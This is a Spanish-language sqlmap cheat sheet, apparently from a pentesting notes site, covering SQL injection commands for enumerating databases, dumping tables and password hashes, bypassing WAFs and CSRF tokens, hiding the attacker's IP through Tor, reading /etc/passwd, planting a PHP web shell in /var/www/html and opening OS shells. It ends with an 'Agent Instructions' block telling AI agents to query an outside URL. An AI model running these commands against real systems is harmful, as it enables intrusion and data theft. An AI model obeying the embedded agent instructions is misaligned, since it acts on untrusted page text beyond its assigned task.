# sqlmap

## General

```sh
# Ejecución de sqlmap general desde request guardado en archivo
sqlmap -r request.txt --level=5 --risk=3 --random-agent --threads=10 --batch --flush-session --hostname
```

## Parámetros principales <a href="#parametros-generales" id="parametros-generales"></a>

```sh
-u "<URL>" 
--user-agent='<user-agent>'
--cookie='<cookie>'
--header='<header>'
--level=<1-5> # default 1
--risk=<1-3> # default 1
--technique=<technique> # default "BEUSTQ"
--skip-waf # omitir prueba heurística de WAF
--batch # no espera respuesta del usuario, utiliza comportamiento por defecto
--flush-session # limpia sesión
--threads=10
--dump-all --exclude-sysdbs # obtener la información de todas las bases de datos
```

* \--technique = técnica.
  * B = Boolean-based blind SQLi.
  * E = Error-based SQLi.
  * U = Union-based SQLi.
  * S = Stacked queries SQLi.
  * T = Time-based blind SQLi.
  * Q = Inline queries SQLi.

## Manejo de errores <a href="#manejo-de-errores" id="manejo-de-errores"></a>

```sh
# Mostrar mensajes de error de DBMS
--parse-errors

# Almacenar todo el tráfico en un archivo de texto
-t /tmp/sqlmap-traffic.txt

# Nivel de detalle de los mensajes de salida
-v <0-6>so
```

## Enumeración general <a href="#enumeracion-general" id="enumeracion-general"></a>

```sh
--hostname
--banner
--current-db
--current-user
--is-dba
--users
--privileges
--roles
--passwords
```

## Enumeración de base de datos <a href="#enumeracion-de-base-de-datos" id="enumeracion-de-base-de-datos"></a>

```sh
# Obtener estructura completa del DBMS
--schema

# Buscar tablas por nombre
--search -T <table-name>
--search -T user
 
# Buscar columnas por nombre
--search -C <column-name>
--search -C pass

# Proceso completo de enumeración
--all --batch
```

## **Bypass de protecciones** <a href="#bypass-de-protecciones" id="bypass-de-protecciones"></a>

```sh
# Bypass de lista negra de HTTP User-Agent
--random-agent

# Bypass de token anti-CSRF
--csrf-token="<token-parameter-name>"

# Bypass de valor único
--randomize=<parameter-name>

# Bypass de parámetro calculado
--eval="<python-code>"
--eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

# Ocultar dirección IP
--proxy
--proxy-file
--tor
--check-tor

# Manipulación y ofuscación de payloads
--tamper="<script>"

# Transferencia fragmentada
--chunked

# HTTP parameter pollution (HPP)
--hpp
```

## **DataBase Management System** (**DBMS**) <a href="#database-management-system-dbms" id="database-management-system-dbms"></a>

```sh
sqlmap -u "http://<target>/" --dbms=<dbms>
```

* -u = URL.
  * \<target> = objetivo.
* \--dbms = DataBase Management System, por ejemplo: `mysql`, `mssql`, `postgresql`, `oracle`, `ibmdb2`, etc.

## GET request <a href="#get-request" id="get-request"></a>

```sh
sqlmap -u "http://<target>/param1=value1&param2=value2" --method GET
sqlmap -u "http://<target>/param1=value1&param2=value2" --method GET -p "<param1>,<param2>"
```

* -u = URL.
  * \<target> = objetivo.
* -p = parámetros a revisar.

## POST request <a href="#post-request" id="post-request"></a>

```sh
sqlmap -u "http://<target>/" --method POST --data "param1=value1&param2=value2"
sqlmap -u "http://<target>/" --method POST --data "param1=value1&param2=value2" -p "<param1>,<param2>"
```

* -u = URL.
  * \<target> = objetivo.
* \--data = información del POST request.
* -p = parámetros a revisar.

## Request desde archivo <a href="#request-desde-archivo" id="request-desde-archivo"></a>

```sh
sqlmap -r <request.txt> -p <param>
sqlmap -r <request.txt> --header="<header1>: <value1>*" --header="<header2>: <value2>*" --header="<header3>: <value3>*"
```

* -r = archivo de request.
  * \<request.txt> = archivo con request.
* -p = parámetro.
  * \<param> = parámetro vulnerable.
* \--header = HTTP header.
  * \<header1> = nombre de HTTP header vulnerable.
  * \<value1> = valor de HTTP header vulnerable.

## Listar bases de datos <a href="#listar-bases-de-datos" id="listar-bases-de-datos"></a>

```sh
sqlmap -u "http://<target>/" --dbs
```

* -u = URL.
  * \<target> = objetivo.
* \--dbs = listar bases de datos.

## Listar tablas de base de datos <a href="#listar-tablas-de-base-de-datos" id="listar-tablas-de-base-de-datos"></a>

```sh
sqlmap -u "http://<target>/" -D <database> --tables
```

* -u = URL
  * \<target> = objetivo.
* -D = base de datos.
  * \<database> = nombre de base de datos.
* \--tables = listar tablas de base de datos.

## Listar columnas de tabla <a href="#listar-columnas-de-tabla" id="listar-columnas-de-tabla"></a>

```sh
sqlmap -u "http://<target>/" -D <database> -T <table> --columns
```

* -u = URL
  * \<target> = objetivo.
* -D = base de datos.
  * \<database> = nombre de base de datos.
* -T = tabla.
  * \<table> = nombre de tabla.
* \--columns = listar columnas de tabla.

## Obtener información de tabla <a href="#obtener-informacion-de-tabla" id="obtener-informacion-de-tabla"></a>

```sh
sqlmap -u "http://<target>/" -D <database> -T <table> --dump
```

* -u = URL
  * \<target> = objetivo.
* -D = base de datos.
  * \<database> = nombre de base de datos.
* -T = tabla.
  * \<table> = nombre de tabla.
* \--dump = obtener información de tabla.
* \--dump-format = formato de exportación de datos obtenidos.
  * CSV (por defecto).
  * HTML.
  * SQLite.

## Filtrar obtención de información de tabla <a href="#filtrar-obtencion-de-informacion-de-tabla" id="filtrar-obtencion-de-informacion-de-tabla"></a>

```sh
--start=<start-row-number> --stop=<end-row-number>
--where="<column-name> LIKE '<initial-characters>%'"
```

## Lectura de archivos <a href="#lectura-de-archivos" id="lectura-de-archivos"></a>

```sh
--file-read "<file>"
--file-read "/etc/passwd"
```

## Escritura de archivos <a href="#escritura-de-archivos" id="escritura-de-archivos"></a>

```sh
--file-write "<file>" --file-dest "/tmp/file"
```

Escritura de web shell.

{% code title="webshell.php" %}

```php
<?php echo system($_GET['cmd']); ?>
```

{% endcode %}

```sh
--file-write "webshell.php" --file-dest "/var/www/html/webshell.php"
```

## Shell <a href="#shell" id="shell"></a>

```sh
# Shell
sqlmap -u "http://<target>/" --os-shell
sqlmap -u "http://<target>/" --os-shell --technique=<technique>
sqlmap -u "http://<target>/" --os-cmd <comando>

# SQL query shell
sqlmap -u "http://<target>/" --sql-shell
sqlmap -u "http://<target>/" --sql-query <query>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web.mrw0l05zyn.cl/explotacion/sql-injection-sqli/sqlmap.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
